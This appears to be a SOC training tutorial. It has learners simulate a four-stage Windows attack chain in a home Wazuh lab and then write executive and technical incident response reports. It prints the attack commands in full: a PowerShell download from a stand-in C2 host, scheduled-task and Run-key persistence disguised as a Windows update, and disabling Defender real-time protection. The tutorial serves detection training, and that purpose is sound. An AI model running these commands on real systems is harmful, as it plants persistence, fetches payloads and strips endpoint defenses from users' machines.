Write Incident Response Documentation

Introduction

30 Second Summary

When a security breach happens, someone has to explain what happened to both the technical responders and the executives authorizing the fix. That communication skill is what separates SOC analysts who get hired from those who stay stuck in home labs.

In this project, you will simulate a multi-stage attack on your Windows endpoint, investigate the alerts in your Wazuh SIEM, and write two professional incident response documents tailored to different audiences.

What You'll Build

A complete incident response documentation package containing an executive summary and a full technical IR report, built from real alert data generated by a simulated 4-technique kill chain on your endpoint.

By the end of this project, you'll have:

• A simulated 4-technique kill chain executed on your endpoint with timestamped evidence recorded in Wazuh.
• An executive incident summary written in plain business language for non-technical leadership.
• A full technical incident response report with forensic timeline, IOC table, MITRE ATT&CK mapping, and actionable recommendations.
• Secret Mission: Write a DFIR handover document with raw artifacts and reproduction queries for a forensics team.

Are there any prerequisites?

This project builds on your existing SOC lab. You need to have completed the "Build a Home SOC Lab with Wazuh SIEM" and "Threat Hunting with Wazuh: SOC Dashboards" projects first.

Your Wazuh Docker stack should be running with your Windows endpoint enrolled and custom detection rules 100100-100106 loaded.

Simulate a Multi-Stage Intrusion

Your previous projects simulated individual attack techniques in isolation. Real attackers chain techniques together into a kill chain. They download tools, establish persistence, then disable defenses so they can operate freely.

In this step, you will execute a coordinated 4-technique attack scenario on your Windows endpoint. The key difference from previous projects: you are running these commands as a single story with a timeline. You will record the exact time you execute each command because your incident reports will reference these timestamps.

In this step, get ready to:

• Execute a 4-technique attack chain in sequence (T1105, T1053.005, T1547.001, T1562.001) with timestamps recorded.
• Verify all 4 alerts fire in the Wazuh Threat Hunting module with correct MITRE ATT&CK mappings.
• Clean up attack artifacts from your endpoint while preserving alert evidence in Wazuh.

Execute the attack chain with timestamps

You need a log file to record timestamps as you execute each attack phase. This log becomes your source of truth when you write the incident reports later.

• In your text editor, create a new file and save it as attack_execution_log.txt.
• Add a title line at the top: Attack Execution Log.
• Open PowerShell as Administrator on your Windows endpoint.

Why record timestamps manually?

Wazuh records its own alert timestamps, but there is always a small delay between when you run a command and when the alert appears in the dashboard. Recording your own execution times lets you correlate your actions with the alerts and identify any pipeline latency.

You will now execute 4 phases in sequence. Before each command, note the current time (hour:minute:second) in your log file.

Phase 1: Tool download (T1105)

The first phase simulates an attacker downloading a remote access tool from an external command-and-control server.

• Record the current time in your log file next to "Phase 1.".
• Simulate the tool download by running this command in PowerShell:

powershell -command "Invoke-WebRequest -Uri 'http://malicious-c2.example.com/payload.exe' -OutFile 'C:\temp\payload.exe'"

What does this command do?

This spawns a child powershell process that attempts to download a file from a fake C2 domain. The domain does not exist, so the download will fail. That is expected.

What matters is that Sysmon captures the process creation event, and Wazuh rule 100100 fires on the Invoke-WebRequest pattern in the command line.

Seeing an error about the connection?

The command will produce a network error because the domain malicious-c2.example.com does not resolve to a real server. This is intentional. Sysmon captures the process creation regardless of whether the download succeeds.

If you do not see any output at all, confirm you are running PowerShell as Administrator.

help me troubleshoot my PowerShell Invoke-WebRequest command for the attack simulation

Phase 2: Persistence via scheduled task (T1053.005)

The attacker now creates a scheduled task to survive reboots. This ensures the payload runs again every time the user logs on.

• Record the current time in your log file next to "Phase 2.".
• Create the persistence mechanism by running this command:

schtasks /create /tn "WindowsUpdateCheck" /tr "C:\temp\payload.exe" /sc onlogon /rl highest

What does this command do?

This creates a scheduled task named WindowsUpdateCheck that would execute C:\temp\payload.exe every time a user logs on.

The name is intentionally deceptive. Attackers disguise persistence as legitimate Windows processes. Wazuh rule 100103 detects the schtasks /create pattern.

Phase 3: Persistence via registry Run key (T1547.001)

A sophisticated attacker adds a second persistence mechanism for redundancy. If one is discovered and removed, the other keeps them connected.

• Record the current time in your log file next to "Phase 3.".
• Add the registry Run key by running this command:

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdateCheck /t REG_SZ /d "C:\temp\payload.exe" /f

What does this command do?

This adds a value named WindowsUpdateCheck to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run registry key. Windows automatically executes anything listed here at user logon.

Wazuh rule 100106 detects modifications to this specific registry path.

Phase 4: Defense evasion (T1562.001)

With persistence established, the attacker disables real-time protection to avoid detection of any further activity.

• Record the current time in your log file next to "Phase 4.".
• Disable Windows Defender real-time monitoring by running this command:

powershell -command "Set-MpPreference -DisableRealtimeMonitoring $true"

• Re-enable Defender immediately by running:

powershell -command "Set-MpPreference -DisableRealtimeMonitoring $false"

Why re-enable Defender right away?

In a real attack, the attacker would leave protection disabled. In your lab, you only need Sysmon to capture the process creation event. Re-enabling Defender keeps your endpoint safe while the alert still fires in Wazuh via rule 100102.

Defender did not disable?

If you see an error about access denied, confirm PowerShell is running as Administrator. The Set-MpPreference cmdlet requires elevated privileges.

If tamper protection is enabled on your endpoint, Windows may block this command. Open Windows Security, go to Virus & threat protection, click Manage settings, and toggle Tamper Protection off temporarily. Re-enable it after this step.

help me troubleshoot Set-MpPreference not working in my PowerShell session

Your attack chain is complete. You should now have 4 timestamped entries in your log file.

Validate alerts and record evidence

The commands you just ran generated Sysmon events that flowed through the Wazuh pipeline. Now you need to confirm all 4 alerts fired and record the evidence details for your reports.

• Wait at least 60 seconds for events to propagate through the Wazuh pipeline.
• Open your browser and navigate to https://localhost to reach the Wazuh dashboard.
• Sign in with username admin and password SecretPassword.

• In the Wazuh dashboard, locate the Threat intelligence section.
• Click Threat Hunting.

• In the search bar, filter for your alerts using this query:

rule.id:(100100 OR 100103 OR 100106 OR 100102)

What does this filter do?

This Wazuh Query Language filter shows only events that matched one of your four custom detection rules. Each rule ID corresponds to one phase of your attack chain.

• Confirm you see 4 alerts corresponding to each phase:

• Rule 100100 (PowerShell download, T1105).
• Rule 100103 (Scheduled task creation, T1053.005).
• Rule 100106 (Registry Run key, T1547.001).
• Rule 100102 (Defender disabled, T1562.001).

• Expand each alert by clicking on it.
• For each alert, record the following fields in your attack_execution_log.txt file:

• The exact timestamp from the alert.
• The rule.id and rule.level values.
• The win.eventdata.commandLine value (the exact command that was captured).
• The agent.name (your Windows endpoint hostname).

Not seeing all 4 alerts?

If fewer than 4 alerts appear, first check your time range filter. Make sure it covers the window when you ran the commands.

If an alert is still missing after 2-3 minutes, the event may not have propagated yet. Try refreshing the page. If a specific rule never fires, verify your custom rules (100100-100106) are still loaded in the Wazuh manager by checking the rules file from your previous project.

help me figure out why my Wazuh alerts are not showing up in Threat Hunting

Clean up attack artifacts

The alerts are safely stored in the Wazuh indexer. Now you need to remove the persistence artifacts from your endpoint so they do not interfere with future work.

• Remove the scheduled task by running this command in PowerShell:

schtasks /delete /tn "WindowsUpdateCheck" /f

• Remove the registry Run key by running:

reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdateCheck /f

• Remove the temp directory by running:

Remove-Item -Recurse -Force C:\temp -ErrorAction SilentlyContinue

• Confirm Defender is re-enabled by opening Windows Security and checking that Real-time protection shows On.

Why clean up but keep the alerts?

In a real incident, you would preserve forensic evidence on disk. In your lab, the alerts stored in the Wazuh indexer ARE your evidence. They contain the full command lines, timestamps, and user context you need for your reports.

Cleaning up the artifacts keeps your endpoint in a known-good state for future projects without losing any investigation data.

Seeing an error when deleting the scheduled task?

If schtasks /delete returns an error saying the task does not exist, the creation command in Phase 2 may not have completed successfully. This is fine. The alert still fired because Sysmon captured the process creation attempt regardless.

help me clean up the attack artifacts from my Windows endpoint

✔️ Awesome, I've got everything!

Great. You should now have an attack_execution_log.txt file containing 4 timestamped entries, each with the corresponding alert data (timestamps, rule IDs, rule levels, command lines, and agent name) from Wazuh.

ⓧ I'd like to double check my log

Your Attack Execution Log should contain the following information for each of the 4 phases:

• Phase 1: Your execution timestamp, rule 100100, rule level 10, command line containing Invoke-WebRequest -Uri 'http://malicious-c2.example.com/payload.exe' -OutFile 'C:\temp\payload.exe', MITRE technique T1105, your agent name and user context.
• Phase 2: Your execution timestamp, rule 100103, rule level 12, command line containing schtasks /create /tn "WindowsUpdateCheck" /tr "C:\temp\payload.exe" /sc onlogon /rl highest, MITRE technique T1053.005, your agent name and user context.
• Phase 3: Your execution timestamp, rule 100106, rule level 12, command line containing reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdateCheck /t REG_SZ /d "C:\temp\payload.exe" /f, MITRE technique T1547.001, your agent name and user context.
• Phase 4: Your execution timestamp, rule 100102, rule level 12, command line containing Set-MpPreference -DisableRealtimeMonitoring $true, MITRE technique T1562.001, your agent name and user context.

Your endpoint is clean, your evidence is preserved in Wazuh, and your Attack Execution Log is ready. In the next step, you will dive deeper into the Discover module to extract full event details and construct the forensic timeline that tells this attacker's story.

Investigate and Build the Forensic Timeline

SOC analysts do not just see alerts. They reconstruct what happened, in what order, using what access, and with what impact.

In this step, you will use the Discover module to extract detailed event data and construct a forensic timeline that tells the attacker's story from start to finish.

In this step, get ready to:

• Query the Discover module to extract full event details for each attack phase.
• Construct a chronological forensic timeline with exact timestamps, user context, and command lines.
• Classify each event by MITRE ATT&CK tactic and assess the overall incident severity.

Extract event details from Discover

The Threat Hunting module you used in Step 1 shows alert summaries. The Discover module gives you access to the raw event data underneath each alert. This is where you find the full forensic detail you need for professional reports.

• In your Wazuh dashboard, click the menu icon (the three horizontal lines in the top left).
• Click Explore, then click Discover.
• Set the index pattern to wazuh-alerts-* using the dropdown at the top left of the search area.

What is an index pattern?

An index pattern tells Wazuh which stored data to search through. The wazuh-alerts-* pattern includes all alert data across all time periods. The asterisk acts as a wildcard that matches any date suffix.

• Click Add filter (below the search bar).
• Set the Field to rule.id.
• Set the Operator to is one of.
• Enter the values: 100100, 100102, 100103, 100106.
• Click Save.
• Set the time range (top right date picker) to cover the period when you ran your attack simulation in Step 1.

You should see 4 events in the results, one for each phase of your attack chain.

Not seeing 4 events?

Make sure your time range is wide enough to cover when you executed the attack commands. If you ran them yesterday, expand the range to include the full day.

Double-check that the filter values are entered as separate items, not as a single comma-separated string.

Help me troubleshoot why my Discover filter is not returning all 4 alerts.

Now extract the full forensic detail from each event.

• Click the expand arrow on the first event to see all its fields.
• For each of the 4 events, record the following fields in your Attack Execution Log:

Use the field search

When an event is expanded, use the field search bar at the top of the expanded panel to quickly find specific fields like rule.mitre.id instead of scrolling through all available fields.

Build the forensic timeline

A forensic timeline arranges events in strict chronological order and adds context that raw alert data does not provide on its own. The timeline tells the story of what the attacker did, step by step.

• Open your text editor (Cursor or VS Code).
• Create a new file called timeline_notes.md in the same folder as your Attack Execution Log.

Arrange all 4 events in chronological order based on their timestamps. For each event, write one row that includes:

• Exact timestamp from the alert.
• Technique used (MITRE ID and full name).
• Command executed (the full win.eventdata.commandLine value).
• User context (which account ran the command).
• Impact assessment (what capability this gave the attacker).

What is an impact assessment?

An impact assessment translates a technical action into its operational consequence. For example, creating a scheduled task is not just "task created." The impact is: "attacker can survive system reboots and re-establish access without re-exploitation."

Think about what each technique gave the attacker that they did not have before.

Now document the relationships between events. Add an attacker narrative section below your timeline table.

• Write 2-3 sentences describing the attacker's progression. Use this structure: "The attacker first downloaded tools (T1105), then established two persistence mechanisms (T1053.005, T1547.001) ensuring survivability, then disabled endpoint protection (T1562.001) to operate freely."
• Explain why the attacker used two persistence mechanisms instead of one (redundancy in case one is discovered and removed).
• Note that defense evasion came last, indicating the attacker intended further undetected operations after establishing their foothold.

Why does narrative matter in forensics?

Raw timelines show what happened. Narratives explain why. A hiring manager reading your IR report wants to see that you understand attacker intent, not just that you can list timestamps.

The narrative also helps other analysts. If someone picks up your investigation later, the narrative tells them where the attacker was headed next.

Classify and assess severity

Every incident report needs a severity rating with a clear justification. The rating drives how urgently leadership responds and what resources get allocated to remediation.

• In your timeline_notes.md file, add a new section titled "Severity Assessment."
• Rate the incident as HIGH severity.

Document your severity justification by considering these three factors:

• Multiple persistence mechanisms indicate an attacker intending long-term access, not opportunistic activity.
• Defense evasion indicates intent to conduct further undetected operations beyond what was observed.
• All events originated from an elevated (Administrator) context, meaning the attacker already had full system control.

• Write your justification as a single paragraph that references all three factors. Example framing: "Rated HIGH based on: confirmed persistence (two mechanisms) plus confirmed defense evasion from an elevated session. The combination indicates a sophisticated actor preparing for sustained, undetected access."
• Save timeline_notes.md.

Why not Critical severity?

Critical is typically reserved for confirmed data exfiltration, active ransomware deployment, or confirmed lateral movement to multiple systems. In this scenario, persistence was established and defenses were tampered with, but no data loss or spread to other systems was confirmed.

Being precise about severity ratings shows professional judgment. Over-rating incidents erodes trust with leadership. Under-rating them delays response.

Your forensic timeline is complete. You now have a structured, evidence-backed source document with timestamps, technique mappings, attacker narrative, and severity classification. Next up, you will translate these findings into a 1-page executive summary written for non-technical leadership.

Write the Executive Incident Summary

Your forensic timeline is complete. You have the attacker's story documented in chronological order with severity justified.

Now you need to communicate that story to people who will never read a forensic timeline. The executive summary is a 1-page document written for a CISO, VP of Engineering, or board member. These readers do not understand MITRE technique IDs or command-line syntax. They need to know four things: what happened, how bad it is, what is at risk, and what they should authorize.

In this step, get ready to:

• Write an executive summary following the structure: Situation, Impact, Actions Taken, Recommendations.
• Translate technical findings into business-risk language with no jargon.
• Produce a complete executive_summary.md file ready for your portfolio.

Write the document structure

Every professional incident report begins with a metadata header. This tells the reader who wrote it, when it happened, who should see it, and how sensitive it is.

• In your text editor, create a new file called executive_summary.md.
• Write the document title and metadata table by adding this content:

# Executive Incident Summary

| Field | Value |
|-------|-------|
| Incident ID | IR-2026-0629-001 |
| Date | 2026-06-29 |
| Classification | Confidential |
| Prepared By | [[YOURNAME="Your Name"]] |
| Distribution | CISO, VP Engineering, Legal |

What does this metadata do?

The metadata table establishes the document as a formal record. The Incident ID gives it a trackable reference. The Classification level (Confidential) tells readers not to forward it externally. The Distribution list tells the reader exactly who else has this information.

• Save executive_summary.md.
• Open markdown preview in your editor (Cmd+Shift+V on macOS or Ctrl+Shift+V on Windows). You should see a formatted table with your metadata fields rendered cleanly.

Write each section

The body of your executive summary has four sections, each serving a different purpose for the reader. Remember: your audience has no technical background. Every sentence must describe business impact, not technical mechanics.

Open your timeline_notes.md side by side so you can reference your findings as you write.

• Below your metadata table, write the Situation section. This answers "what happened?" in 2-3 plain-language sentences. No technique IDs, no command lines, no rule numbers. Add this content:

## Situation

On June 29, 2026, our security monitoring system detected a coordinated intrusion attempt on a Windows endpoint in our environment. The attacker downloaded remote access tools, installed two separate methods to maintain access after system reboots, and disabled the endpoint's antivirus protection to avoid further detection.

What makes this section effective?

Notice how "Invoke-WebRequest" becomes "downloaded remote access tools." Notice how T1053.005 and T1547.001 become "two separate methods to maintain access." The executive reader gets the full picture without needing to understand the mechanics.

The phrase "coordinated intrusion attempt" immediately signals this is serious. It is not a random virus or a false positive.

• Below the Situation, write the Impact Assessment. This answers "how bad is it?" in business-consequence language. Add this content:

## Impact Assessment

Risk Rating: HIGH

This incident demonstrates that an attacker achieved persistent access to a corporate endpoint with elevated privileges. If undetected, this access pattern would allow the attacker to exfiltrate sensitive data, move laterally to other systems, and operate without triggering endpoint security alerts. The combination of multiple persistence mechanisms and security tool tampering indicates a sophisticated, intentional intrusion rather than opportunistic malware.

Why frame impact as consequences?

Executives make decisions based on risk to the business. "Exfiltrate sensitive data" and "move laterally to other systems" describe outcomes they care about. "Defense evasion via T1562.001" describes a technique they cannot act on.

The severity justification ("sophisticated, intentional intrusion rather than opportunistic malware") helps leadership understand why this demands an urgent response instead of routine patching.

• Below the Impact Assessment, write the Actions Taken section. This tells leadership what the SOC team already did. Add this content:

## Actions Taken

- Detected all four attack phases within 60 seconds of execution via custom SIEM detection rules
- Removed both persistence mechanisms (scheduled task and registry modification) from the affected endpoint
- Re-enabled endpoint antivirus protection immediately after detection
- Confirmed no lateral movement or data exfiltration occurred during the incident window
- Preserved all alert evidence in the SIEM for forensic review

What does the Actions Taken section prove?

This section demonstrates competence. The "60 seconds" detection time shows your monitoring works. The containment actions show the threat was neutralized. The "no lateral movement" confirmation tells leadership the damage is bounded.

• Below Actions Taken, write the Recommendations section. Each recommendation is framed as a business decision the executive can authorize, not a technical task. Add this content:

## Recommendations

1. Approve emergency credential rotation for all accounts on the affected endpoint to eliminate any compromised access tokens.
2. Fund deployment of application whitelisting (Windows Defender Application Control) to prevent unauthorized tool downloads and execution.
3. Authorize a full forensic review of the endpoint to confirm no additional persistence mechanisms exist beyond those detected.
4. Approve budget for weekly proactive threat hunting focused on persistence indicators across all monitored endpoints.

Why frame recommendations as decisions?

Each recommendation starts with a verb that an executive can act on: "Approve", "Fund", "Authorize." These are budget and authority decisions. Compare this to "Run schtasks /delete" which is a technical instruction an executive cannot execute.

The brief explanation after each verb tells the executive what outcome their authorization achieves. This gives them the information needed to say yes or no.

• Save executive_summary.md.
• Read through the full document in markdown preview. Confirm that it reads as a coherent 1-page narrative a non-technical manager could absorb in under 2 minutes.

Document feels too technical?

Search for any MITRE technique IDs (like T1105), rule IDs (like 100100), or command-line fragments (like Invoke-WebRequest). If you find any, replace them with plain-language equivalents. "Downloaded a tool" replaces "T1105 Ingress Tool Transfer."

Help me rewrite a technical finding into business language for an executive audience.

Quality check against professional standards

Before finalizing, run your document through a professional quality checklist. This is the same type of review a senior SOC analyst would perform before sending a report to leadership.

• Read every sentence and verify: no command-line syntax appears anywhere in the document.
• Verify: no MITRE technique IDs (T1105, T1053.005, T1547.001, T1562.001) appear anywhere.
• Verify: no Wazuh rule IDs (100100, 100102, 100103, 100106) appear anywhere.
• Verify: every recommendation starts with an action verb that an executive can authorize (Approve, Fund, Authorize).
• Verify: the severity rating (HIGH) has a one-sentence justification explaining why it is not Medium or Critical.

Why this quality check matters

In hiring interviews, SOC analyst candidates are often given a technical finding and asked to "write this up for the CISO." The most common failure is leaving technical details in the executive version. This quality check builds the habit of audience-aware review that separates L2 analysts from L1.

• Save executive_summary.md after making any corrections.

✔️ Awesome, I've got everything!

Great. Double check you have saved your file. Your executive summary should contain the metadata table, Situation, Impact Assessment, Actions Taken, and Recommendations sections.

ⓧ I'd like to double check the full code

Here is the complete executive_summary.md for reference:

# Executive Incident Summary

| Field | Value |
|-------|-------|
| Incident ID | IR-2026-0629-001 |
| Date | 2026-06-29 |
| Classification | Confidential |
| Prepared By | [Your Name] |
| Distribution | CISO, VP Engineering, Legal |

## Situation

On June 29, 2026, our security monitoring system detected a coordinated intrusion attempt on a Windows endpoint in our environment. The attacker downloaded remote access tools, installed two separate methods to maintain access after system reboots, and disabled the endpoint's antivirus protection to avoid further detection.

## Impact Assessment

Risk Rating: HIGH

This incident demonstrates that an attacker achieved persistent access to a corporate endpoint with elevated privileges. If undetected, this access pattern would allow the attacker to exfiltrate sensitive data, move laterally to other systems, and operate without triggering endpoint security alerts. The combination of multiple persistence mechanisms and security tool tampering indicates a sophisticated, intentional intrusion rather than opportunistic malware.

## Actions Taken

- Detected all four attack phases within 60 seconds of execution via custom SIEM detection rules
- Removed both persistence mechanisms (scheduled task and registry modification) from the affected endpoint
- Re-enabled endpoint antivirus protection immediately after detection
- Confirmed no lateral movement or data exfiltration occurred during the incident window
- Preserved all alert evidence in the SIEM for forensic review

## Recommendations

1. Approve emergency credential rotation for all accounts on the affected endpoint to eliminate any compromised access tokens.
2. Fund deployment of application whitelisting (Windows Defender Application Control) to prevent unauthorized tool downloads and execution.
3. Authorize a full forensic review of the endpoint to confirm no additional persistence mechanisms exist beyond those detected.
4. Approve budget for weekly proactive threat hunting focused on persistence indicators across all monitored endpoints.

Your executive summary is done. You now have a document that proves you can communicate security findings to non-technical leadership. Next up, you will write the full technical incident response report for your fellow analysts and security engineers.

Write the Full Technical IR Report

The technical IR report is your portfolio centerpiece. It is written for other SOC analysts, incident responders, and security engineers who need the full evidence chain, forensic timeline, IOC table, MITRE ATT&CK mapping, and specific remediation commands.

The structure follows industry-standard practices aligned with NIST SP 800-61r3 (Detect, Respond, Recover lifecycle) and SANS incident reporting. This is the document that proves you can do the analytical work.

In this step, get ready to:

• Write the full technical IR report with all required sections: header, executive summary, scope, timeline, findings with IOC table, MITRE ATT&CK mapping, root cause analysis, and recommendations.
• Include exact alert data, command lines, and timestamps pulled from your Wazuh investigation.
• Produce a complete incident_report.md ready for GitHub portfolio display.

Write the report header and executive summary

Unlike the executive summary you wrote for leadership, this report's executive summary CAN use technical terms. It states which MITRE tactics were observed, what the scope was, and the current disposition.

• In your text editor, create a new file called incident_report.md.
• Add the report metadata block and technical executive summary by pasting the following markdown:

# Technical Incident Response Report

## Report Metadata

| Field | Value |
|-------|-------|
| Incident ID | IR-2026-0629-001 |
| Classification | Confidential |
| Date/Time of Detection | 2026-06-29 [[DETECTION_TIME="Phase 1 timestamp from your Attack Execution Log"]] |
| Date/Time of Containment | 2026-06-29 [[CONTAINMENT_TIME="time you finished artifact cleanup"]] |
| Severity | HIGH |
| Status | Contained - Artifacts Removed |
| Author | [[YOURNAME="your name"]] |
| SIEM Platform | Wazuh v4.14.5 |
| Data Sources | Sysmon Event ID 1, Wazuh custom rules 100100-100106 |

## Executive Summary

A coordinated multi-stage intrusion was detected on [[HOSTNAME="your Windows endpoint hostname"]] targeting the Persistence and Defense Evasion MITRE ATT&CK tactics. The attacker executed a 4-phase kill chain: tool download (T1105), scheduled task persistence (T1053.005), registry Run key persistence (T1547.001), and endpoint protection tampering (T1562.001). All phases were detected by custom Wazuh rules within the alerting pipeline. Artifacts were removed and the endpoint was restored to a secure state.

What does this section do?

The metadata block gives any reader the critical facts at a glance: when it happened, how bad it is, and what tools produced the evidence. A reader can decide in 10 seconds whether this report is relevant to them.

The technical executive summary uses MITRE technique IDs and names the kill chain explicitly. This contrasts with your executive_summary.md where you avoided all jargon. Same incident, different audience, different language.

You won't see a change yet. The next chunks build out the investigation body.

Write the investigation body

The investigation body is where you prove your analytical work. Each section serves a different forensic purpose: scope defines the boundaries, the timeline tells the story, and the evidence tables make your findings searchable and actionable.

• Add the Scope and Forensic Timeline sections below the Executive Summary in incident_report.md by pasting this markdown:

## Scope

- Target: [[HOSTNAME="your Windows endpoint hostname"]] (Windows endpoint)
- Time Window: [[TIME_1="Phase 1 timestamp from your log"]] to [[TIME_4="Phase 4 timestamp from your log"]]
- Data Sources: Wazuh alerts index (wazuh-alerts-*), Sysmon Event ID 1 (Process Creation)
- Detection Rules: Custom rules 100100, 100102, 100103, 100106 chaining off Sysmon parent rule 92000
- SIEM Version: Wazuh v4.14.5 deployed via Docker (single-node)

## Forensic Timeline

| Time | Event | Rule ID | MITRE Technique | Severity | User |
|------|-------|---------|-----------------|----------|------|
| [[TIME_1="Phase 1 timestamp from your log"]] | PowerShell Invoke-WebRequest to malicious-c2.example.com | 100100 | T1105 | 10 | [[USER="user account from your alerts"]] |
| [[TIME_2="Phase 2 timestamp from your log"]] | Scheduled task "WindowsUpdateCheck" created with /sc onlogon | 100103 | T1053.005 | 12 | [[USER="user account from your alerts"]] |
| [[TIME_3="Phase 3 timestamp from your log"]] | Registry Run key "WindowsUpdateCheck" added to HKCU\...\Run | 100106 | T1547.001 | 12 | [[USER="user account from your alerts"]] |
| [[TIME_4="Phase 4 timestamp from your log"]] | Set-MpPreference -DisableRealtimeMonitoring executed | 100102 | T1562.001 | 12 | [[USER="user account from your alerts"]] |

What does this section do?

The Scope section defines exactly what you investigated and what you did NOT. This is critical because it sets expectations. A reader knows this report covers one endpoint, one time window, and one data source.

The Forensic Timeline is your reconstruction of the attacker's story in chronological order. Notice that rule 100100 has severity 10 (tool download) while the persistence and evasion rules have severity 12 (more dangerous). This progression shows escalating attacker intent.

• Add the Indicators of Compromise table and MITRE ATT&CK Mapping table below the Forensic Timeline by pasting this markdown:

## Indicators of Compromise

| IOC Type | Value | MITRE Technique | Severity |
|----------|-------|-----------------|----------|
| Process Execution | Invoke-WebRequest -Uri 'http://malicious-c2.example.com/payload.exe' | T1105 | Medium |
| Scheduled Task | "WindowsUpdateCheck" executing C:\temp\payload.exe at logon | T1053.005 | High |
| Registry Key | HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateCheck | T1547.001 | High |
| PowerShell Command | Set-MpPreference -DisableRealtimeMonitoring $true | T1562.001 | High |

## MITRE ATT&CK Mapping

| Tactic | Technique ID | Technique Name | Evidence |
|--------|--------------|----------------|----------|
| Command and Control | T1105 | Ingress Tool Transfer | PowerShell download attempt to external C2 domain |
| Persistence | T1053.005 | Scheduled Task/Job: Scheduled Task | Task "WindowsUpdateCheck" set to execute at logon |
| Persistence | T1547.001 | Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder | Run key added under HKCU |
| Defense Evasion | T1562.001 | Impair Defenses: Disable or Modify Tools | Windows Defender real-time monitoring disabled |

What is the difference between the IOC table and the MITRE mapping?

The IOC table lists the specific artifacts an analyst can search for in other systems (exact command strings, registry paths, task names). Another SOC team could take these values and query their own SIEM to check if the same attacker hit them.

The MITRE ATT&CK mapping classifies each finding by attacker behavior. This helps threat intelligence teams understand the attacker's playbook and predict what they might do next. Both tables reference the same events but serve different consumers.

• Add the Root Cause Analysis section below the MITRE ATT&CK Mapping table by pasting this markdown:

## Root Cause Analysis

The attacker operated from an elevated PowerShell session on the endpoint. The initial access vector in this lab scenario was direct command execution (simulating post-exploitation access). In a production environment, root cause analysis would trace the initial compromise back to its origin (phishing email, vulnerability exploitation, compromised credentials, etc.).

The attack followed a predictable kill chain pattern:
1. Tool staging (download remote access payload)
2. Persistence establishment (two mechanisms for redundancy)
3. Defense evasion (disable endpoint protection before further operations)

The dual persistence approach (scheduled task AND registry Run key) indicates an attacker preparing for long-term access who anticipated that one mechanism might be discovered and removed.

Why document root cause in a lab scenario?

In a real incident, root cause analysis traces back to the initial compromise vector (the phishing email that was clicked, the unpatched vulnerability that was exploited). In your lab, you honestly state that the initial access was simulated via direct command execution.

This honesty demonstrates professional maturity. Hiring managers value analysts who clearly distinguish what they observed from what they assumed. The dual persistence analysis shows you can reason about attacker intent, not just list events.

• Save incident_report.md.
• Scroll through your file from top to bottom. You should see six sections in order: Report Metadata, Executive Summary, Scope, Forensic Timeline, Indicators of Compromise, MITRE ATT&CK Mapping, and Root Cause Analysis.

Tables not rendering properly?

If your markdown tables look broken, check that the header row separator (the |------| line) is present between the header and first data row. Every table needs this line or markdown renderers will not display columns.

Also confirm that each row has the same number of pipe characters. A missing | will collapse two columns into one.

Help me fix my markdown table formatting in incident_report.md.

Write recommendations and lessons learned

The recommendations section is where you prove you can translate findings into action. Unlike the executive summary's business-framed recommendations, these include specific commands and policy changes a security engineer can implement immediately.

• Add the Recommendations section below Root Cause Analysis by pasting this markdown:

## Recommendations

1. **Remove all persistence artifacts** (completed):
   - `schtasks /delete /tn "WindowsUpdateCheck" /f`
   - `reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdateCheck /f`

2. **Rotate credentials**: Reset passwords and invalidate tokens for all accounts that were active on the endpoint during the incident window.

3. **Deploy application whitelisting**: Implement Windows Defender Application Control (WDAC) or AppLocker to prevent execution of unsigned binaries from user-writable directories (C:\temp, Downloads, AppData).

4. **Add network-level monitoring**: Deploy detection for Set-MpPreference commands and monitor for outbound connections to uncategorized domains from endpoints.

5. **Expand Sysmon configuration**: Add monitoring for Sysmon Event ID 12/13 (Registry object creation/modification) to detect Run key changes without relying solely on command-line regex.

6. **Schedule recurring threat hunts**: Implement weekly hunts focused on persistence indicators (new scheduled tasks, Run key modifications, new local accounts) across all enrolled endpoints.

What makes these recommendations effective?

Each recommendation is specific and actionable. Recommendation 1 includes the exact remediation commands. Recommendation 3 names the specific technology (WDAC or AppLocker) and the specific risk it mitigates (unsigned binaries in user-writable directories).

Vague recommendations like "improve security posture" or "monitor for threats" are useless in a real IR report. The reader should be able to take each recommendation and create a work ticket from it without further research.

• Add the Lessons Learned section below Recommendations by pasting this markdown:

## Lessons Learned

**What worked well:**
- Custom detection rules fired on all 4 techniques within the alerting pipeline latency
- MITRE ATT&CK mapping enabled immediate classification of attacker intent
- Sysmon command-line capture provided full forensic detail for each event

**Detection gaps identified:**
- No alert for the initial access vector itself (how the attacker got elevated PowerShell access)
- Rules rely on command-line pattern matching; PowerShell obfuscation or alternative tools could evade
- No correlation rule linking the 4 events as a single incident (each fired independently)

**Recommended improvements:**
- Develop a correlation rule that escalates to CRITICAL when 3+ high-severity alerts from the same agent fire within a 5-minute window
- Add detection for obfuscated variants of Set-MpPreference
- Integrate threat intelligence feeds to flag known C2 domains at the network layer

Why is the Lessons Learned section so important for your portfolio?

This section demonstrates self-awareness. You acknowledge what your detection rules caught AND what they missed. The gap analysis (no initial access alert, no correlation rule, vulnerability to obfuscation) shows you can think beyond the current incident to systemic improvements.

Hiring managers specifically look for this skill. An analyst who only reports what happened is L1. An analyst who identifies how to prevent the next incident is L2.

• Save incident_report.md.
• Scroll through the entire file from top to bottom. You should see all nine sections in order: Report Metadata, Executive Summary, Scope, Forensic Timeline, Indicators of Compromise, MITRE ATT&CK Mapping, Root Cause Analysis, Recommendations, and Lessons Learned.
• Confirm that your Forensic Timeline table has 4 data rows (one per attack phase) and your IOC table has 4 entries matching the indicators from your Wazuh investigation.

Missing sections or incomplete data?

If any section is missing, check that you pasted each chunk below the previous one (not inside it). Each ## heading should be at the same level with a blank line above it.

If your timestamps or user values are still placeholders, refer back to your Attack Execution Log and replace each placeholder with the real values you recorded in Step 1.

Help me review my incident_report.md for completeness and correct structure.

✔️ Awesome, I've got everything!

Great. Double check you have saved incident_report.md with all nine sections populated with your real investigation data.

ⓧ I'd like to double check the full code

Here is the complete incident_report.md file for comparison. Replace all placeholder values in brackets with your actual data from the Attack Execution Log.

# Technical Incident Response Report

## Report Metadata

| Field | Value |
|-------|-------|
| Incident ID | IR-2026-0629-001 |
| Classification | Confidential |
| Date/Time of Detection | 2026-06-29 [[DETECTION_TIME="Phase 1 timestamp from your Attack Execution Log"]] |
